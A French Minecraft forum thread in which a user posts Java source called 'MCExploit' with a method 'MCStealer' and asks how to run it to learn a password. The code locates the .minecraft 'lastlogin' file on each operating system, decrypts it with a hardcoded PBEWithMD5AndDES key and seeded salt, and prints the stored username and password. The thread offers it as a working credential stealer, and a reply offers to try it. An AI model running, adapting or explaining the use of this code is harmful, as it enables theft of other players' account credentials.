• Partenaires

last login minecraft decryptage

seba26800

seba26800

Niveau 2 0 / 100 XP
Alors voilà je voudrais trouvé un mdp minecraft gràce au fichier lastlogin, avec cette source de java, mais je ne sais pas comment l'utilisé, merci de m'aidé ;)


import java.io.*;
import java.net.*;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;

public class MCExploit
{
public static void main(String[] args) throws Exception
{
System.out.println(MCStealer());
}

public static String MCStealer() throws Exception
{
String output = null;
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
if (getWorkingDirectory().exists())
{
File lastLogin = new File(getWorkingDirectory(), "lastlogin");
DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
output = dis.readUTF() + " | " + dis.readUTF();
dis.close();
}
return output;
}


public static File getWorkingDirectory()
{
String userHome = System.getProperty("user.home", ".");
File workingDirectory;
switch (getPlatform())
{
case 1:
case 2:
workingDirectory = new File(userHome, ".minecraft/");
break;
case 3:
String applicationData = System.getenv("APPDATA");
if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else
workingDirectory = new File(userHome, ".minecraft/");
break;
case 4:
workingDirectory = new File(userHome, "Library/Application Support/minecraft");
break;
default:
workingDirectory = new File(userHome, ".minecraft/");
}
return workingDirectory;
}

private static int getPlatform()
{
String osName = System.getProperty("os.name").toLowerCase();
if (osName.contains("linux")) return 1;
if (osName.contains("unix")) return 1;
if (osName.contains("solaris")) return 2;
if (osName.contains("sunos")) return 2;
if (osName.contains("win")) return 3;
if (osName.contains("mac")) return 4;
return 5;
}
}
 
Dernière édition:
Je n'est pas trop compris ta question... :/

Peut-tu expliquer en détail stp ? Merci.


enfaite je veux connaitre un mot de passe, et il est crypté, et j'ai cherché comment faire, et je suis tombé sur ce code java, tout le monde dis que sa marche mais je sais pas quoi en faire(le lancer avec quel applis)
 
Mmmm... Je vais essayer de mon côter et je te dis mais sa permettrais quoi d'après toi de faire sa ?
 

Utilisateurs qui regardent le poste (Total: 0, Members: 0, Invité: 0)

Retour
Haut